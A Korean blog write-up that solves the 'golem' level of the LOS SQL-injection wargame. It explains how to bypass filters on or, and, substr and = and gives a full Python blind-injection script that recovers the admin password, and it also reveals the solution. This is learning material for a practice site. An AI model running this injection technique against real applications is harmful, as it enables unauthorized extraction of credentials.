yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOS 11번 풀이 (golem) 본문

wargame 풀이/LOS

LOS 11번 풀이 (golem)

yehey 2020. 10. 18. 01:28

LOS 11번 (golem)

이번에도 blind sql injection을 이용해서 문제를 해결해야한다.

정확한 pw를 알아내서 전달해야 golem이 해결된다.

이번에는 or, and, substr, =을 필터링하고 있다.

따라서 이를 우회해서 사용해야한다.

 

or -> ||
and &&
substr mid
= like,

 

이제 preg_match를 우회하면서 admin의 pw를 얻어내는 코드를 작성해보자

먼저 pw의 길이를 알아내고, 동시에 pw도 구해보자

import string
import requests
my_cookies=dict(PHPSESSID="h03l2gldvrnepic1mmqtgs0nj6") #쿠키 값
idLength=0
url="https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw='||"
abc=string.digits + string.ascii_letters
print("Start Blind attack")
result=""

#pw 길이 알아내기
while(1):
    idLength +=1
    param="length(pw) like "+str(idLength)+"%23"    #=과 같은 역할을 하는 like
    new_url=url+param
    res=requests.get(new_url,cookies=my_cookies)
    if res.text.find("Hello admin") > 0:
        break

print("password length is: "+str(idLength))

#패스워드 알아내기
print("Start finding password...")
for i in range(1,idLength+1):
    for a in abc:
        param="ASCII(mid(pw,"+str(i)+",1)) like "+str(ord(a))+"%23" #substr과 같은 역할을 하는 mid
        new_url=url+param
        res=requests.get(new_url,cookies=my_cookies)
        if res.text.find("Hello admin") > 0:
            print(str(i)+"번째 char is :" + a)
            result += a
            break

print("result:"+result)

 

위의 코드를 실행하면 다음과 같은 결과가 나온다

 

따라서 admin의 pw는 77d6290b 이다!

이를 전달해주면 golem이 해결된다!

 

 

'wargame 풀이 > LOS' 카테고리의 다른 글

LOS 10번 풀이 (skeleton)  (0) 2020.10.14
LOS 8~9번 풀이 (troll, vampire)  (0) 2020.10.09
LOS 7번 풀이 (orge)  (0) 2020.10.09
LOS 5~6번 풀이 (wolfman,darkelf)  (0) 2020.10.05
LOS 4번 풀이 (orc)  (0) 2020.10.04
Comments